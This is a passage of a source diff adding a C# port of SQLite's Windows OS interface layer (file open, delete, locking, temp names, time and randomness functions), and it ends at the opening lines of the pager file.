lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 );// UnlockFile(pFilE.h, PENDING_BYTE, 0, 1, 0); + } + catch ( Exception e ) + { } + } + pFile.locktype = (u8)locktype; + return rc; + } + + /* + ** Control and query of the open file handle. + */ + static int winFileControl( sqlite3_file id, int op, ref int pArg ) + { + switch ( op ) + { + case SQLITE_FCNTL_LOCKSTATE: + { + pArg = ( (sqlite3_file)id ).locktype; + return SQLITE_OK; + } + case SQLITE_LAST_ERRNO: + { + pArg = (int)( (sqlite3_file)id ).lastErrno; + return SQLITE_OK; + } + } + return SQLITE_ERROR; + } + + /* + ** Return the sector size in bytes of the underlying block device for + ** the specified file. This is almost always 512 bytes, but may be + ** larger for some devices. + ** + ** SQLite code assumes this function cannot fail. It also assumes that + ** if two files are created in the same file-system directory (i.e. + ** a database and its journal file) that the sector size will be the + ** same for both. + */ + static int winSectorSize( sqlite3_file id ) + { + Debug.Assert( id != null ); + return (int)( id.sectorSize ); + } + + /* + ** Return a vector of device characteristics. + */ + static int winDeviceCharacteristics( sqlite3_file id ) + { + UNUSED_PARAMETER( id ); + return 0; + } + + /* + ** This vector defines all the methods that can operate on an + ** sqlite3_file for win32. + */ + static sqlite3_io_methods winIoMethod = new sqlite3_io_methods( + 1, /* iVersion */ + (dxClose)winClose, + (dxRead)winRead, + (dxWrite)winWrite, + (dxTruncate)winTruncate, + (dxSync)winSync, + (dxFileSize)sqlite3_fileSize, + (dxLock)winLock, + (dxUnlock)winUnlock, + (dxCheckReservedLock)winCheckReservedLock, + (dxFileControl)winFileControl, + (dxSectorSize)winSectorSize, + (dxDeviceCharacteristics)winDeviceCharacteristics + ); + + /*************************************************************************** + ** Here ends the I/O methods that form the sqlite3_io_methods object. + ** + ** The next block of code implements the VFS methods. + ****************************************************************************/ + + /* + ** Convert a UTF-8 filename into whatever form the underlying + ** operating system wants filenames in. Space to hold the result + ** is obtained from malloc and must be freed by the calling + ** function. + */ + static string convertUtf8Filename( string zFilename ) + { + return zFilename; + // string zConverted = ""; + //if (isNT()) + //{ + // zConverted = utf8ToUnicode(zFilename); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + */ +#if !SQLITE_OS_WINCE + //} + //else + //{ + // zConverted = utf8ToMbcs(zFilename); +#endif + //} + /* caller will handle out of memory */ + //return zConverted; + } + + /* + ** Create a temporary file name in zBuf. zBuf must be big enough to + ** hold at pVfs.mxPathname characters. + */ + static int getTempname( int nBuf, StringBuilder zBuf ) + { + const string zChars = "abcdefghijklmnopqrstuvwxyz0123456789"; + //static char zChars[] = + // "abcdefghijklmnopqrstuvwxyz" + // "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // "0123456789"; + //size_t i, j; + //char zTempPath[MAX_PATH+1]; + //if( sqlite3_temp_directory ){ + // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", sqlite3_temp_directory); + //}else if( isNT() ){ + // char *zMulti; + // WCHAR zWidePath[MAX_PATH]; + // GetTempPathW(MAX_PATH-30, zWidePath); + // zMulti = unicodeToUtf8(zWidePath); + // if( zMulti ){ + // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", zMulti); + // free(zMulti); + // }else{ + // return SQLITE_NOMEM; + // } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + //}else{ + // char *zUtf8; + // char zMbcsPath[MAX_PATH]; + // GetTempPathA(MAX_PATH-30, zMbcsPath); + // zUtf8 = sqlite3_win32_mbcs_to_utf8(zMbcsPath); + // if( zUtf8 ){ + // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", zUtf8); + // free(zUtf8); + // }else{ + // return SQLITE_NOMEM; + // } +#endif + //} + + StringBuilder zRandom = new StringBuilder( 20 ); + i64 iRandom = 0; + for ( int i = 0 ; i < 20 ; i++ ) + { + sqlite3_randomness( 1, ref iRandom ); + zRandom.Append( (char)zChars[(int)( iRandom % ( zChars.Length - 1 ) )] ); + } + // zBuf[j] = 0; + zBuf.Append( Path.GetTempPath() + SQLITE_TEMP_FILE_PREFIX + zRandom.ToString() ); + //for(i=sqlite3Strlen30(zTempPath); i>0 && zTempPath[i-1]=='\\'; i--){} + //zTempPath[i] = 0; + //sqlite3_snprintf(nBuf-30, zBuf, + // "%s\\"SQLITE_TEMP_FILE_PREFIX, zTempPath); + //j = sqlite3Strlen30(zBuf); + //sqlite3_randomness(20, zBuf[j]); + //for(i=0; i<20; i++, j++){ + // zBuf[j] = (char)zChars[ ((unsigned char)zBuf[j])%(sizeof(zChars)-1) ]; + //} + //zBuf[j] = 0; + +#if SQLITE_DEBUG + OSTRACE2( "TEMP FILENAME: %s\n", zBuf.ToString() ); +#endif + return SQLITE_OK; + } + + /* + ** The return value of getLastErrorMsg + ** is zero if the error message fits in the buffer, or non-zero + ** otherwise (if the message was truncated). + */ + static int getLastErrorMsg( int nBuf, ref string zBuf ) + { + //int error = GetLastError (); + +#if SQLITE_OS_WINCE +sqlite3_snprintf(nBuf, zBuf, "OsError 0x%x (%u)", error, error); +#else + /* FormatMessage returns 0 on failure. Otherwise it +** returns the number of TCHARs written to the output +** buffer, excluding the terminating null char. +*/ + //int iDummy = 0; + //object oDummy = null; + //if ( 00 == FormatMessageA( FORMAT_MESSAGE_FROM_SYSTEM, + //ref oDummy, + //error, + //0, + //zBuf, + //nBuf - 1, + //ref iDummy ) ) + //{ + // sqlite3_snprintf( nBuf, ref zBuf, "OsError 0x%x (%u)", error, error ); + //} +#endif + zBuf = new Win32Exception( Marshal.GetLastWin32Error() ).Message; + + return 0; + } + + /* + ** Open a file. + */ + static int winOpen( + sqlite3_vfs pVfs, /* Not used */ + string zName, /* Name of the file (UTF-8) */ + sqlite3_file pFile, /* Write the SQLite file handle here */ + int flags, /* Open mode flags */ + ref int pOutFlags /* Status return flags */ + ) + { + //HANDLE h; + FileStream fs = null; + FileAccess dwDesiredAccess; + FileShare dwShareMode; + FileMode dwCreationDisposition; + FileOptions dwFlagsAndAttributes; +#if SQLITE_OS_WINCE +int isTemp = 0; +#endif + //winFile* pFile = (winFile*)id; + string zConverted; /* Filename in OS encoding */ + string zUtf8Name = zName; /* Filename in UTF-8 encoding */ + StringBuilder zTmpname = new StringBuilder( MAX_PATH + 1 ); /* Buffer used to create temp filename */ + + Debug.Assert( pFile != null ); + UNUSED_PARAMETER( pVfs ); + + /* If the second argument to this function is NULL, generate a + ** temporary file name to use + */ + if ( String.IsNullOrEmpty( zUtf8Name ) ) + { + int rc = getTempname( MAX_PATH + 1, zTmpname ); + if ( rc != SQLITE_OK ) + { + return rc; + } + zUtf8Name = zTmpname.ToString(); + } + + // /* Convert the filename to the system encoding. */ + zConverted = zUtf8Name;// convertUtf8Filename( zUtf8Name ); + if ( String.IsNullOrEmpty( zConverted ) ) + { + return SQLITE_NOMEM; + } + + if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 ) + { + dwDesiredAccess = FileAccess.Read | FileAccess.Write; // GENERIC_READ | GENERIC_WRITE; + } + else + { + dwDesiredAccess = FileAccess.Read; // GENERIC_READ; + } + /* SQLITE_OPEN_EXCLUSIVE is used to make sure that a new file is + ** created. SQLite doesn't use it to indicate "exclusive access" + ** as it is usually understood. + */ + Debug.Assert( 0 == ( flags & SQLITE_OPEN_EXCLUSIVE ) || ( flags & SQLITE_OPEN_CREATE ) != 0 ); + if ( ( flags & SQLITE_OPEN_EXCLUSIVE ) != 0 ) + { + /* Creates a new file, only if it does not already exist. */ + /* If the file exists, it fails. */ + dwCreationDisposition = FileMode.CreateNew;// CREATE_NEW; + } + else if ( ( flags & SQLITE_OPEN_CREATE ) != 0 ) + { + /* Open existing file, or create if it doesn't exist */ + dwCreationDisposition = FileMode.OpenOrCreate;// OPEN_ALWAYS; + } + else + { + /* Opens a file, only if it exists. */ + dwCreationDisposition = FileMode.Open;//OPEN_EXISTING; + } + dwShareMode = FileShare.Read | FileShare.Write;// FILE_SHARE_READ | FILE_SHARE_WRITE; + if ( ( flags & SQLITE_OPEN_DELETEONCLOSE ) != 0 ) + { +#if SQLITE_OS_WINCE +dwFlagsAndAttributes = FILE_ATTRIBUTE_HIDDEN; +isTemp = 1; +#else + dwFlagsAndAttributes = FileOptions.DeleteOnClose; // FILE_ATTRIBUTE_TEMPORARY + //| FILE_ATTRIBUTE_HIDDEN + //| FILE_FLAG_DELETE_ON_CLOSE; +#endif + } + else + { + dwFlagsAndAttributes = FileOptions.None; // FILE_ATTRIBUTE_NORMAL; + } + /* Reports from the internet are that performance is always + ** better if FILE_FLAG_RANDOM_ACCESS is used. Ticket #2699. */ +#if SQLITE_OS_WINCE +dwFlagsAndAttributes |= FileOptions.RandomAccess; // FILE_FLAG_RANDOM_ACCESS; +#endif + if ( isNT() ) + { + //h = CreateFileW((WCHAR*)zConverted, + // dwDesiredAccess, + // dwShareMode, + // NULL, + // dwCreationDisposition, + // dwFlagsAndAttributes, + // NULL + //); + + // + // retry opening the file a few times; this is because of a racing condition between a delete and open call to the FS + // + int retries = 3; + while ( ( fs == null ) && ( retries > 0 ) ) + try + { + retries--; + fs = new FileStream( zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, 1024, dwFlagsAndAttributes ); +#if SQLITE_DEBUG + OSTRACE3( "OPEN %d (%s)\n", fs.GetHashCode(), fs.Name ); +#endif + } + catch ( Exception e ) + { + Thread.Sleep( 100 ); + } + + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + } + else + { + Debugger.Break(); // Not NT + //h = CreateFileA((char*)zConverted, + // dwDesiredAccess, + // dwShareMode, + // NULL, + // dwCreationDisposition, + // dwFlagsAndAttributes, + // NULL + //); +#endif + } + if ( fs == null || fs.SafeFileHandle.IsInvalid ) //(h == INVALID_HANDLE_VALUE) + { + // free(zConverted); + if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 ) + { + return winOpen( pVfs, zName, pFile, + ( ( flags | SQLITE_OPEN_READONLY ) & ~SQLITE_OPEN_READWRITE ), ref pOutFlags ); + } + else + { + return SQLITE_CANTOPEN; + } + } + //if ( pOutFlags ) + //{ + if ( ( flags & SQLITE_OPEN_READWRITE ) != 0 ) + { + pOutFlags = SQLITE_OPEN_READWRITE; + } + else + { + pOutFlags = SQLITE_OPEN_READONLY; + } + //} + pFile.Clear(); // memset(pFile, 0, sizeof(*pFile)); + pFile.pMethods = winIoMethod; + pFile.fs = fs; + pFile.lastErrno = NO_ERROR; + pFile.sectorSize = (ulong)getSectorSize( pVfs, zUtf8Name ); +#if SQLITE_OS_WINCE +if( (flags & (SQLITE_OPEN_READWRITE|SQLITE_OPEN_MAIN_DB)) == +(SQLITE_OPEN_READWRITE|SQLITE_OPEN_MAIN_DB) +&& !winceCreateLock(zName, pFile) +){ +CloseHandle(h); +free(zConverted); +return SQLITE_CANTOPEN; +} +if( isTemp ){ +pFile.zDeleteOnClose = zConverted; +}else +#endif + { + // free(zConverted); + } +#if SQLITE_TEST + OpenCounter( +1 ); +#endif + return SQLITE_OK; + } + + /* + ** Delete the named file. + ** + ** Note that windows does not allow a file to be deleted if some other + ** process has it open. Sometimes a virus scanner or indexing program + ** will open a journal file shortly after it is created in order to do + ** whatever it does. While this other process is holding the + ** file open, we will be unable to delete it. To work around this + ** problem, we delay 100 milliseconds and try to delete again. Up + ** to MX_DELETION_ATTEMPTs deletion attempts are run before giving + ** up and returning an error. + */ + static int MX_DELETION_ATTEMPTS = 5; + static int winDelete( + sqlite3_vfs pVfs, /* Not used on win32 */ + string zFilename, /* Name of file to delete */ + int syncDir /* Not used on win32 */ + ) + { + int cnt = 0; + int rc; + int error; + UNUSED_PARAMETER( pVfs ); + UNUSED_PARAMETER( syncDir ); + string zConverted = convertUtf8Filename( zFilename ); + if ( zConverted == null || zConverted == "" ) + { + return SQLITE_NOMEM; + } +#if SQLITE_TEST + //SimulateIOError(return SQLITE_IOERR_DELETE); TODO -- How to implement this? +#endif + if ( isNT() ) + { + do + // DeleteFileW(zConverted); + //}while( ( ((rc = GetFileAttributesW(zConverted)) != INVALID_FILE_ATTRIBUTES) + // || ((error = GetLastError()) == ERROR_ACCESS_DENIED)) + // && (++cnt < MX_DELETION_ATTEMPTS) + // && (Sleep(100), 1) ); + { + if ( !File.Exists( zFilename ) ) + { + rc = SQLITE_IOERR; + break; + } + try + { + File.Delete( zConverted ); + rc = SQLITE_OK; + } + catch ( IOException e ) + { + rc = SQLITE_IOERR; + Thread.Sleep( 100 ); + } + } while ( rc != SQLITE_OK && ++cnt < MX_DELETION_ATTEMPTS ); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + } + else + { + do + { + //DeleteFileA( zConverted ); + //}while( ( ((rc = GetFileAttributesA(zConverted)) != INVALID_FILE_ATTRIBUTES) + // || ((error = GetLastError()) == ERROR_ACCESS_DENIED)) + // && (cnt++ < MX_DELETION_ATTEMPTS) + // && (Sleep(100), 1) ); + if ( !File.Exists( zFilename ) ) + { + rc = SQLITE_IOERR; + break; + } + try + { + File.Delete( zConverted ); + rc = SQLITE_OK; + } + catch ( IOException e ) + { + rc = SQLITE_IOERR; + Thread.Sleep( 100 ); + } + } while ( rc != SQLITE_OK && cnt++ < MX_DELETION_ATTEMPTS ); +#endif + } + //free(zConverted); +#if SQLITE_DEBUG + OSTRACE2( "DELETE \"%s\"\n", zFilename ); +#endif + //return ( ( rc == INVALID_FILE_ATTRIBUTES ) + //&& ( error == ERROR_FILE_NOT_FOUND ) ) ? SQLITE_OK : SQLITE_IOERR_DELETE; + return rc; + } + + /* + ** Check the existence and status of a file. + */ + static int winAccess( + sqlite3_vfs pVfs, /* Not used on win32 */ + string zFilename, /* Name of file to check */ + int flags, /* Type of test to make on this file */ + ref int pResOut /* OUT: Result */ + ) + { + FileAttributes attr = 0; // DWORD attr; + int rc = 0; + // void *zConverted = convertUtf8Filename(zFilename); + UNUSED_PARAMETER( pVfs ); + // if( zConverted==0 ){ + // return SQLITE_NOMEM; + // } + //if ( isNT() ) + //{ + // + // Do a quick test to prevent the try/catch block + if ( flags == SQLITE_ACCESS_EXISTS ) + { + pResOut = File.Exists( zFilename ) ? 1 : 0; + return SQLITE_OK; + } + // + try + { + attr = File.GetAttributes( zFilename );// GetFileAttributesW( (WCHAR*)zConverted ); + if ( attr == FileAttributes.Directory ) + { + StringBuilder zTmpname = new StringBuilder( 255 ); /* Buffer used to create temp filename */ + getTempname( 256, zTmpname ); + + string zTempFilename; + zTempFilename = zTmpname.ToString();//( SQLITE_TEMP_FILE_PREFIX.Length + 1 ); + try + { + FileStream fs = File.Create( zTempFilename, 1, FileOptions.DeleteOnClose ); + fs.Close(); + attr = FileAttributes.Normal; + } + catch ( IOException e ) { attr = FileAttributes.ReadOnly; } + } + } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + //} + //else + //{ + // attr = GetFileAttributesA( (char*)zConverted ); +#endif + //} + catch ( IOException e ) + { } + // free(zConverted); + switch ( flags ) + { + case SQLITE_ACCESS_READ: + case SQLITE_ACCESS_EXISTS: + rc = attr != 0 ? 1 : 0;// != INVALID_FILE_ATTRIBUTES; + break; + case SQLITE_ACCESS_READWRITE: + rc = attr == 0 ? 0 : (int)( attr & FileAttributes.ReadOnly ) != 0 ? 0 : 1; //FILE_ATTRIBUTE_READONLY ) == 0; + break; + default: + Debug.Assert( "" == "Invalid flags argument" ); + rc = 0; + break; + } + pResOut = rc; + return SQLITE_OK; + } + + /* + ** Turn a relative pathname into a full pathname. Write the full + ** pathname into zOut[]. zOut[] will be at least pVfs.mxPathname + ** bytes in size. + */ + static int winFullPathname( + sqlite3_vfs pVfs, /* Pointer to vfs object */ + string zRelative, /* Possibly relative input path */ + int nFull, /* Size of output buffer in bytes */ + StringBuilder zFull /* Output buffer */ + ) + { + +#if __CYGWIN__ +UNUSED_PARAMETER(nFull); +cygwin_conv_to_full_win32_path(zRelative, zFull); +return SQLITE_OK; +#endif + +#if SQLITE_OS_WINCE +UNUSED_PARAMETER(nFull); +/* WinCE has no concept of a relative pathname, or so I am told. */ +sqlite3_snprintf(pVfs.mxPathname, zFull, "%s", zRelative); +return SQLITE_OK; +#endif + +#if !SQLITE_OS_WINCE && !__CYGWIN__ + int nByte; + //string zConverted; + string zOut = null; + UNUSED_PARAMETER( nFull ); + //convertUtf8Filename(zRelative)); + if ( isNT() ) + { + //string zTemp; + //nByte = GetFullPathNameW( zConverted, 0, 0, 0) + 3; + //zTemp = malloc( nByte*sizeof(zTemp[0]) ); + //if( zTemp==0 ){ + // free(zConverted); + // return SQLITE_NOMEM; + //} + //zTemp = GetFullPathNameW(zConverted, nByte, zTemp, 0); + // will happen on exit; was free(zConverted); + try + { + zOut = Path.GetFullPath( zRelative ); // was unicodeToUtf8(zTemp); + } + catch ( IOException e ) + { zOut = zRelative; } + // will happen on exit; was free(zTemp); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + } + else + { + Debugger.Break(); // -- Not Running under NT + //string zTemp; + //nByte = GetFullPathNameA(zConverted, 0, 0, 0) + 3; + //zTemp = malloc( nByte*sizeof(zTemp[0]) ); + //if( zTemp==0 ){ + // free(zConverted); + // return SQLITE_NOMEM; + //} + //GetFullPathNameA( zConverted, nByte, zTemp, 0); + // free(zConverted); + //zOut = sqlite3_win32_mbcs_to_utf8(zTemp); + // free(zTemp); +#endif + } + if ( zOut != null ) + { + // sqlite3_snprintf(pVfs.mxPathname, zFull, "%s", zOut); + if ( zFull.Length > pVfs.mxPathname ) zFull.Length = pVfs.mxPathname; + zFull.Append( zOut ); + + // will happen on exit; was free(zOut); + return SQLITE_OK; + } + else + { + return SQLITE_NOMEM; + } +#endif + } + + + /* + ** Get the sector size of the device used to store + ** file. + */ + static int getSectorSize( + sqlite3_vfs pVfs, + string zRelative /* UTF-8 file name */ + ) + { + int bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE; + StringBuilder zFullpath = new StringBuilder( MAX_PATH + 1 ); + int rc; + bool dwRet = false; + int dwDummy = 0; + + /* + ** We need to get the full path name of the file + ** to get the drive letter to look up the sector + ** size. + */ + rc = winFullPathname( pVfs, zRelative, MAX_PATH, zFullpath ); + if ( rc == SQLITE_OK ) + { + StringBuilder zConverted = new StringBuilder( convertUtf8Filename( zFullpath.ToString() ) ); + if ( zConverted.Length != 0 ) + { + if ( isNT() ) + { + /* trim path to just drive reference */ + //for ( ; *p ; p++ ) + //{ + // if ( *p == '\\' ) + // { + // *p = '\0'; + // break; + // } + //} + int i; + for ( i = 0 ; i < zConverted.Length && i < MAX_PATH ; i++ ) + { + if ( zConverted[i] == '\\' ) + { + i++; + break; + } + } + zConverted.Length = i; + //dwRet = GetDiskFreeSpace( zConverted, + // ref dwDummy, + // ref bytesPerSector, + // ref dwDummy, + // ref dwDummy ); + //#if !SQLITE_OS_WINCE + //}else{ + // /* trim path to just drive reference */ + // CHAR* p = (CHAR*)zConverted; + // for ( ; *p ; p++ ) + // { + // if ( *p == '\\' ) + // { + // *p = '\0'; + // break; + // } + // } + // dwRet = GetDiskFreeSpaceA((CHAR*)zConverted, + // dwDummy, + // ref bytesPerSector, + // dwDummy, + // dwDummy ); + //#endif + } + //free(zConverted); + } + // if ( !dwRet ) + // { + // bytesPerSector = SQLITE_DEFAULT_SECTOR_SIZE; + // } + //} + bytesPerSector = GetbytesPerSector( zConverted ); + } + return bytesPerSector == 0 ? SQLITE_DEFAULT_SECTOR_SIZE : bytesPerSector; + } + +#if !SQLITE_OMIT_LOAD_EXTENSION + /* +** Interfaces for opening a shared library, finding entry points +** within the shared library, and closing the shared library. +*/ + /* + ** Interfaces for opening a shared library, finding entry points + ** within the shared library, and closing the shared library. + */ + //static void *winDlOpen(sqlite3_vfs pVfs, string zFilename){ + // HANDLE h; + // void *zConverted = convertUtf8Filename(zFilename); + // UNUSED_PARAMETER(pVfs); + // if( zConverted==0 ){ + // return 0; + // } + // if( isNT() ){ + // h = LoadLibraryW((WCHAR*)zConverted); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + // }else{ + // h = LoadLibraryA((char*)zConverted); +#endif + // } + // free(zConverted); + // return (void*)h; + //} + //static void winDlError(sqlite3_vfs pVfs, int nBuf, char *zBufOut){ + // UNUSED_PARAMETER(pVfs); + // getLastErrorMsg(nBuf, zBufOut); + //} + // static object winDlSym(sqlite3_vfs pVfs, HANDLE pHandle, String zSymbol){ + // UNUSED_PARAMETER(pVfs); + //#if SQLITE_OS_WINCE + // /* The GetProcAddressA() routine is only available on wince. */ + // return GetProcAddressA((HANDLE)pHandle, zSymbol); + //#else + // /* All other windows platforms expect GetProcAddress() to take + // ** an Ansi string regardless of the _UNICODE setting */ + // return GetProcAddress((HANDLE)pHandle, zSymbol); + //#endif + // } + // static void winDlClose( sqlite3_vfs pVfs, HANDLE pHandle ) + // { + // UNUSED_PARAMETER(pVfs); + // FreeLibrary((HANDLE)pHandle); + // } + //TODO -- Fix This + static HANDLE winDlOpen( sqlite3_vfs vfs, string zFilename ) { return new HANDLE(); } + static int winDlError( sqlite3_vfs vfs, int nByte, ref string zErrMsg ) { return 0; } + static HANDLE winDlSym( sqlite3_vfs vfs, HANDLE data, string zSymbol ) { return new HANDLE(); } + static int winDlClose( sqlite3_vfs vfs, HANDLE data ) { return 0; } +#else // * if SQLITE_OMIT_LOAD_EXTENSION is defined: */ +static object winDlOpen(ref sqlite3_vfs vfs, string zFilename) { return null; } +static int winDlError(ref sqlite3_vfs vfs, int nByte, ref string zErrMsg) { return 0; } +static object winDlSym(ref sqlite3_vfs vfs, object data, string zSymbol) { return null; } +static int winDlClose(ref sqlite3_vfs vfs, object data) { return 0; } +#endif + + + /* +** Write up to nBuf bytes of randomness into zBuf. +*/ + + //[StructLayout( LayoutKind.Explicit, Size = 16, CharSet = CharSet.Ansi )] + //public class _SYSTEMTIME + //{ + // [FieldOffset( 0 )] + // public u32 byte_0_3; + // [FieldOffset( 4 )] + // public u32 byte_4_7; + // [FieldOffset( 8 )] + // public u32 byte_8_11; + // [FieldOffset( 12 )] + // public u32 byte_12_15; + //} + //[DllImport( "Kernel32.dll" )] + //private static extern bool QueryPerformanceCounter( out long lpPerformanceCount ); + + static int winRandomness( sqlite3_vfs pVfs, int nBuf, ref byte[] zBuf ) + { + int n = 0; + UNUSED_PARAMETER( pVfs ); +#if (SQLITE_TEST) + n = nBuf; + Array.Clear( zBuf, 0, n );// memset( zBuf, 0, nBuf ); +#else +byte[] sBuf = BitConverter.GetBytes(System.DateTime.Now.Ticks); +zBuf[0] = sBuf[0]; +zBuf[1] = sBuf[1]; +zBuf[2] = sBuf[2]; +zBuf[3] = sBuf[3]; +;// memcpy(&zBuf[n], x, sizeof(x)) +n += 16;// sizeof(x); +if ( sizeof( DWORD ) <= nBuf - n ) +{ +//DWORD pid = GetCurrentProcessId(); +put32bits( zBuf, n, (u32)Process.GetCurrentProcess().Id );//(memcpy(&zBuf[n], pid, sizeof(pid)); +n += 4;// sizeof(pid); +} +if ( sizeof( DWORD ) <= nBuf - n ) +{ +//DWORD cnt = GetTickCount(); +System.DateTime dt = new System.DateTime(); +put32bits( zBuf, n, (u32)dt.Ticks );// memcpy(&zBuf[n], cnt, sizeof(cnt)); +n += 4;// cnt.Length; +} +if ( sizeof( long ) <= nBuf - n ) +{ +long i; +i = System.DateTime.UtcNow.Millisecond;// QueryPerformanceCounter(out i); +put32bits( zBuf, n, (u32)( i & 0xFFFFFFFF ) );//memcpy(&zBuf[n], i, sizeof(i)); +put32bits( zBuf, n, (u32)( i >> 32 ) ); +n += sizeof( long ); +} +#endif + return n; + } + + + /* + ** Sleep for a little while. Return the amount of time slept. + */ + static int winSleep( sqlite3_vfs pVfs, int microsec ) + { + Thread.Sleep( ( microsec + 999 ) / 1000 ); + UNUSED_PARAMETER( pVfs ); + return ( ( microsec + 999 ) / 1000 ) * 1000; + } + + /* + ** The following variable, if set to a non-zero value, becomes the result + ** returned from sqlite3OsCurrentTime(). This is used for testing. + */ +#if SQLITE_TEST + // static int sqlite3_current_time = 0; +#endif + + /* +** Find the current time (in Universal Coordinated Time). Write the +** current time and date as a Julian Day number into prNow and +** return 0. Return 1 if the time and date cannot be found. +*/ + static int winCurrentTime( sqlite3_vfs pVfs, ref double prNow ) + { + FILETIME ft = new FILETIME(); + /* FILETIME structure is a 64-bit value representing the number of + 100-nanosecond intervals since January 1, 1601 (= JD 2305813.5). + */ + sqlite3_int64 timeW; /* Whole days */ + sqlite3_int64 timeF; /* Fractional Days */ + + /* Number of 100-nanosecond intervals in a single day */ + const sqlite3_int64 ntuPerDay = + 10000000 * (sqlite3_int64)86400; + + /* Number of 100-nanosecond intervals in half of a day */ + const sqlite3_int64 ntuPerHalfDay = + 10000000 * (sqlite3_int64)43200; + + ///* 2^32 - to avoid use of LL and warnings in gcc */ + //const sqlite3_int64 max32BitValue = + //(sqlite3_int64)2000000000 + (sqlite3_int64)2000000000 + (sqlite3_int64)294967296; + + //#if SQLITE_OS_WINCE + //SYSTEMTIME time; + //GetSystemTime(&time); + ///* if SystemTimeToFileTime() fails, it returns zero. */ + //if (!SystemTimeToFileTime(&time,&ft)){ + //return 1; + //} + //#else + // GetSystemTimeAsFileTime( ref ft ); + // ft = System.DateTime.UtcNow.ToFileTime(); + //#endif + // UNUSED_PARAMETER( pVfs ); + // timeW = ( ( (sqlite3_int64)ft.dwHighDateTime ) * max32BitValue ) + (sqlite3_int64)ft.dwLowDateTime; + timeW = System.DateTime.UtcNow.ToFileTime(); + timeF = timeW % ntuPerDay; /* fractional days (100-nanoseconds) */ + timeW = timeW / ntuPerDay; /* whole days */ + timeW = timeW + 2305813; /* add whole days (from 2305813.5) */ + timeF = timeF + ntuPerHalfDay; /* add half a day (from 2305813.5) */ + timeW = timeW + ( timeF / ntuPerDay ); /* add whole day if half day made one */ + timeF = timeF % ntuPerDay; /* compute new fractional days */ + prNow = (double)timeW + ( (double)timeF / (double)ntuPerDay ); +#if SQLITE_TEST + if ( ( sqlite3_current_time.iValue ) != 0 ) + { + prNow = ( (double)sqlite3_current_time.iValue + (double)43200 ) / (double)86400 + (double)2440587; + } +#endif + return 0; + } + + + /* + ** The idea is that this function works like a combination of + ** GetLastError() and FormatMessage() on windows (or errno and + ** strerror_r() on unix). After an error is returned by an OS + ** function, SQLite calls this function with zBuf pointing to + ** a buffer of nBuf bytes. The OS layer should populate the + ** buffer with a nul-terminated UTF-8 encoded error message + ** describing the last IO error to have occurred within the calling + ** thread. + ** + ** If the error message is too large for the supplied buffer, + ** it should be truncated. The return value of xGetLastError + ** is zero if the error message fits in the buffer, or non-zero + ** otherwise (if the message was truncated). If non-zero is returned, + ** then it is not necessary to include the nul-terminator character + ** in the output buffer. + ** + ** Not supplying an error message will have no adverse effect + ** on SQLite. It is fine to have an implementation that never + ** returns an error message: + ** + ** int xGetLastError(sqlite3_vfs pVfs, int nBuf, char *zBuf){ + ** Debug.Assert(zBuf[0]=='\0'); + ** return 0; + ** } + ** + ** However if an error message is supplied, it will be incorporated + ** by sqlite into the error message available to the user using + ** sqlite3_errmsg(), possibly making IO errors easier to debug. + */ + static int winGetLastError( sqlite3_vfs pVfs, int nBuf, ref string zBuf ) + { + UNUSED_PARAMETER( pVfs ); + return getLastErrorMsg( nBuf, ref zBuf ); + } + + static sqlite3_vfs winVfs = new sqlite3_vfs( + 1, /* iVersion */ + -1, //sqlite3_file.Length, /* szOsFile */ + MAX_PATH, /* mxPathname */ + null, /* pNext */ + "win32", /* zName */ + 0, /* pAppData */ + + (dxOpen)winOpen, /* xOpen */ + (dxDelete)winDelete, /* xDelete */ + (dxAccess)winAccess, /* xAccess */ + (dxFullPathname)winFullPathname,/* xFullPathname */ + (dxDlOpen)winDlOpen, /* xDlOpen */ + (dxDlError)winDlError, /* xDlError */ + (dxDlSym)winDlSym, /* xDlSym */ + (dxDlClose)winDlClose, /* xDlClose */ + (dxRandomness)winRandomness, /* xRandomness */ + (dxSleep)winSleep, /* xSleep */ + (dxCurrentTime)winCurrentTime, /* xCurrentTime */ + (dxGetLastError)winGetLastError /* xGetLastError */ + ); + + /* + ** Initialize and deinitialize the operating system interface. + */ + static int sqlite3_os_init() + { + sqlite3_vfs_register( winVfs, 1 ); + return SQLITE_OK; + } + static int sqlite3_os_end() + { + return SQLITE_OK; + } + +#endif // * SQLITE_OS_WIN */ + // + // Windows DLL definitions + // + + const int NO_ERROR = 0; + } +} diff --git a/SQLite/src/pager_c.cs b/SQLite/src/pager_c.cs new file mode 100644 index 0000000..1188f74 --- /dev/null +++ b/SQLite/src/pager_c.cs @@ -0,0 +1,6042 @@ +using System; +using System.Diagnostics; +using System.IO; + +using i16 = System.Int16; +using i64 = System.Int64; + +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using System.Text; + using DbPage = CSSQLite.PgHdr; + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims 